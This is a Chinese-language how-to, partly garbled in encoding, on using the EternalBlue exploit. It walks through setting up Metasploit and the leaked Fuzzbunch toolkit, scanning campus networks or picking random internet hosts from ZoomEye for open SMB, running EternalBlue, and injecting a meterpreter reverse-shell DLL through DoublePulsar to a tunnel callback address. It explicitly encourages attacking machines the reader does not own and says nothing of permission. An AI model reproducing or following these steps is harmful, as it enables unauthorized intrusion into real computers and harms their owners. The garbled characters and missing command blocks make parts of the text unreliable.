手把手教你用永恒之藍(lán)(Eternalblue)勒索病毒漏洞的高階用法
安裝 MSF
Linux & Mac OS X

假如遇到問題,點(diǎn)開這個連接,然后自個想想方法……
查看是否安裝成功
然后輸入 msfconsole 看看裝置是不是成功了……

這樣的話就算成功了。
安裝 WINE 和 winetricks
Linux

OSX


安裝 Windows Python 環(huán)境

跟著 wizard 走完就行了……一路下一步。
復(fù)制工具包到 Windows 分區(qū)
默認(rèn) WINE 環(huán)境的虛擬磁盤在?~/.wine/drive_c
把那個工具包里的?windows?文件夾改個名字,復(fù)制到這里去……
比如改名叫 tools,復(fù)制到?~/.wine/drive_c/tools。
進(jìn)入 Win CMD

如果這一步出現(xiàn)什么?wrong font?錯誤,可以試試安裝?fonts-wine?包,或者用?winetricks --gui,選擇默認(rèn) WINE ,安裝字體,勾上?corefont。
沒錯的話會出現(xiàn)一個黑框框,就是 CMD 了,先?右鍵 - properties - font?調(diào)整一下字體什么的,注意確定保存的時候選第一個單選框……調(diào)到你覺得好看的字體為止。然后:

試一下 Win 上的 Python 有沒有安裝好,如果沒問題就?Ctrl-D?退出。
修改 fuzzbunch 默認(rèn)配置
到?~/.wine/drive_c/tools?這里,用文本編輯器打開?fuzzbunch.xml。
修改?ResourcesDir?為?C:\tools\Resources,LogDir?為?C:\logs。
運(yùn)行 fuzzbunch
再次打開 CMD,cd 到 Python 目錄,然后執(zhí)行:

如果出現(xiàn)這樣的話環(huán)境就算是配置好了:

然后可以暫時退出了。
查看網(wǎng)絡(luò)環(huán)境
本機(jī)上執(zhí)行:

找到自己正在使用的網(wǎng)絡(luò),記下 IP 和 子網(wǎng)掩碼。
安裝 Zmap
Zmap 是一個快速的網(wǎng)絡(luò)掃描器,反正就是收集信息用的。
Linux

OSX

安裝好了之后?sudo zmap --version?測試一下。
掃描子網(wǎng)
根據(jù)你上一步得到的 IP 和子網(wǎng)掩碼,掃描網(wǎng)絡(luò)。
假如你的 IP 是?10.128.129.45?子網(wǎng)掩碼?255.255.192.0,把子網(wǎng)掩碼按照下表換成數(shù)字,然后加起來。

所以?255.255.192.0 = 8 + 8 + 2 = 18。要掃描的 CIDR 就是?10.128.129.45/18
然后運(yùn)行:

-B?選項(xiàng)后面的是掃描速度,根據(jù)你們的內(nèi)網(wǎng)帶寬找一個合適的速度填就行。比如我們內(nèi)網(wǎng) 100M,我就用一半的速度掃。
如果遇到 blacklist 的錯誤,可以去修改?/etc/zmap/blacklist.conf?這個文件,把需要掃描的內(nèi)網(wǎng)地址注釋掉:

如果遇到?interface?什么的錯誤,就用?-i <interface>?指定要使用的網(wǎng)卡。比如你是用 WiFi 的話就?-i wlan0。
如果遇到?get-gateway?的錯誤,就先運(yùn)行?netstat -nr?得到網(wǎng)關(guān)的 IP,然后運(yùn)行?sudo arp -a <網(wǎng)關(guān)IP>?獲取他的 MAC 地址:見下圖:

獲取到網(wǎng)關(guān) MAC 之后,用?-G?參數(shù)寫在命令行里即可。

OK,開始掃描吧,這時候等著就行了。
掃描完成之后?cat 445.csv?就可以看到所有開了 445 的機(jī)器了。
如果你掃描出來文件是空的的話……那說明你的網(wǎng)段可能太小了。
如果你是學(xué)生,可以考慮掃描一下全校網(wǎng)段,一般用?10.0.0.1/8?掃描的話應(yīng)該會能得到一些結(jié)果的。
如果還是不行,那就用備選方案吧……
備選方案 - Zoomeye
如果你子網(wǎng)掃描出來的文件是個空的的話,你也可以選擇掃描互聯(lián)網(wǎng)上的機(jī)器。
當(dāng)然這時候我們就不自己用 zmap 掃了,Zoomeye 可以幫助我們。
打開:https://www.zoomeye.org/
搜索框右邊的選項(xiàng)選主機(jī),輸入?service:microsoft-ds os:windows country:china?Enter 搜索。
也可以加一個參數(shù)?city:beijing?來搜索特定城市的主機(jī)。
然后隨便選幾個 IP 寫到?445.csv?里去吧,一行一個 IP 就行。
漏洞檢測
現(xiàn)在用?msfconsole?打開 MSF,輸入?use auxiliary/scanner/smb/smb_version?注意從現(xiàn)在開始就不要復(fù)制命令了,最好都手打,要習(xí)慣用?Tab?補(bǔ)全。
前面的 msf 提示符變成?msf auxiliary(smb_version) >?就表示進(jìn)入這個掃描器的上下文了。
輸入?options?查看可用的選項(xiàng):

RHOSTS?表示要掃描額主機(jī)列表,THREADS?表示掃描線程數(shù),一般填個 50 什么的就差不多了。如果你 RHOST 數(shù)量比小于 50 的話,你也可以填少一點(diǎn)。
用?set?命令設(shè)置選項(xiàng):

輸入完后再用?options?查看一下選項(xiàng),確認(rèn)沒問題之后輸入?exploit,回車開始執(zhí)行 scanner.

執(zhí)行過程中應(yīng)該會有很多信息輸出出來,等他運(yùn)行完,輸入?hosts?查看當(dāng)前獲得的主機(jī)資料:

OK,一個 Win10 一個 Win7 一個 WinServer 2008 R2。
Win 7 以上的可以不用考慮了,Win 7 和 WinServer 2008 一般來說是可以的。
如果你不放心,可以使用?auxiliary/scanner/smb/smb_ms17_010?這個掃描器做一次漏洞檢測。這個就不說詳細(xì)步驟了,當(dāng)作練習(xí)吧,結(jié)果大概是這樣的:

嗯,他說 Likely 嘛,一般來說 還是選 Win 7 和 Server 2008 以下的主機(jī)當(dāng)作目標(biāo)吧。
OK 我現(xiàn)在就選那臺 Win 7 的?10.158.24.2?了,后面的操作都會用這個 IP,你記得換成你自己的目標(biāo)哈。
Fuzzbunch 出場
用之前的命令啟動 WINE CMD,用 Python 打開 fuzzbunch:

- 第一個地方輸入你的目標(biāo)的 IP 地址
- 第二空?Callback IP?隨便填,因?yàn)橛貌坏?,這里就填?127.0.0.1?好了
- 第三個很重要,一定?要填 no
- 后面如果你沒有項(xiàng)目的話就選 0 新建一個,你下次啟動想用之前的話就選 index
- 然后文件位置什么的就都默認(rèn),一路回車下來就行
看見?fb >?字樣的提示符就表示初始設(shè)置完成。
Eternalblue 攻擊
Fuzzbunch 的使用方法和 MSF 其實(shí)差不多。
輸入?use Eternalblue?載入攻擊模塊,同樣注意多使用?Tab?鍵。
和 MSF 不一樣,F(xiàn)B 會進(jìn)行交互性的參數(shù)輸入:

如果上面的參數(shù)(主要是 IP)沒錯的話,也可以輸入 no 來取消交互式輸入。
然后來到這一步,攻擊方式一定要選 1 FB 方式:

然后繼續(xù)跟著交互提示走,Tunnels 部分直接一路回車,開始執(zhí)行后門安裝:

如果到?Receiving response from exploit packet?這句話這里停住的話,大概率是打了補(bǔ)丁,你可以換個目標(biāo)了。
如果是停在?Triggering free of corrupted buffer?這句的話,基本就成功了,等著就好。

OK,等了一會之后,Eternalblue 攻擊成功。
注意觀察一下這里寫的目標(biāo)機(jī)器的 Arch 是 32 bit 還是 64 bit,后面要用。
TCP 隧道
這一步需要你有公網(wǎng) IP,如果你沒有的話可以用 TCP 隧道服務(wù)來代替……比如各種基于 Ngrok 的隧道服務(wù)……
這里我就不教程了……你們自己弄好就行
我現(xiàn)在假設(shè)你們隧道服務(wù)商 IP 是?123.123.123.123,給你的端口是?8888,你本地的端口也開?8888,下面一步操作的時候記得把這些數(shù)字換成真實(shí)的。
提示
如果你是掃描校內(nèi)網(wǎng),而且校內(nèi)網(wǎng)沒有對機(jī)器互聯(lián)端口做限制的話,不用 TCP 隧道也是可以的,那你就把下面教程里的所有?LHOST?填你自己的網(wǎng)卡 IP 即可。
MSF 監(jiān)聽反彈端口
在 MSF 里,使用?multi/handler。
如果你要攻擊的機(jī)器是 32 位的機(jī)器:
set payload windows/meterpreter/reverse_tcp
如果是 64 位的:
set payload windows/x64/meterpreter/reverse_tcp
然后

LHOST 就填 127.0.0.1 就可以,因?yàn)樯厦嫖覀冇昧怂淼馈?/p>
最后一個?-j?是將 exploit 放在后臺運(yùn)行,暫時可以不用管了。
你可以通過?jobs -l?看到所有后臺任務(wù)。
生成 Shellcode DLL
在 MSF 里執(zhí)行

上面的?{Payload}?換成你上個階段用的 payload,然后 HOST 和 PORT 也要記得換,{ARCH}?如果是 32 位就寫?x8664 位就寫?x64。
你也可以分別生成兩個 DLL 備用,反正以后攻擊到的 32 位 64 位都有可能。
然后把這兩個 DLL 復(fù)制到?~/.wine/drive_c?目錄下
雙倍脈沖(Doublepulsar)注入
切換到 Wine CMD 里的 FB 平臺,使用?Doublepulsar

然后就按照提示一路 Enter,Proto 選?SMB,x86?還是?x64?根據(jù)目標(biāo)機(jī)器選。

這一步選 2,RunDLL。

DLL 位置選根據(jù)你的文件名填,比如?C:\x86.dll?或者?C:\x64.dll,然后繼續(xù) Enter。

當(dāng)你看到這個 Success 的時候,表示注入成功。
DONE
現(xiàn)在切回你的 MSF 看看是不是有些?sending stage?之類的輸出。
如果沒有的話就把 DLL 的生成檢查一遍看看參數(shù)有沒有寫對,然后再執(zhí)行一遍上一步。
如果有輸出的就輸入?sessions -l?查看已經(jīng)連接好的?meterpreter。
然后用?sessions -i <ID>?連上去:

OK 了!后邊的我就不教了,你能夠輸入?help?然后?Tab?看看有哪些指令。然后?-h?獲取協(xié)助。
然后?https://www.offensive-security.com/metasploit-unleashed/meterpreter-basics/?這里有一些根本的后浸透指令的解說。
其實(shí)到這一步,浸透才剛剛開始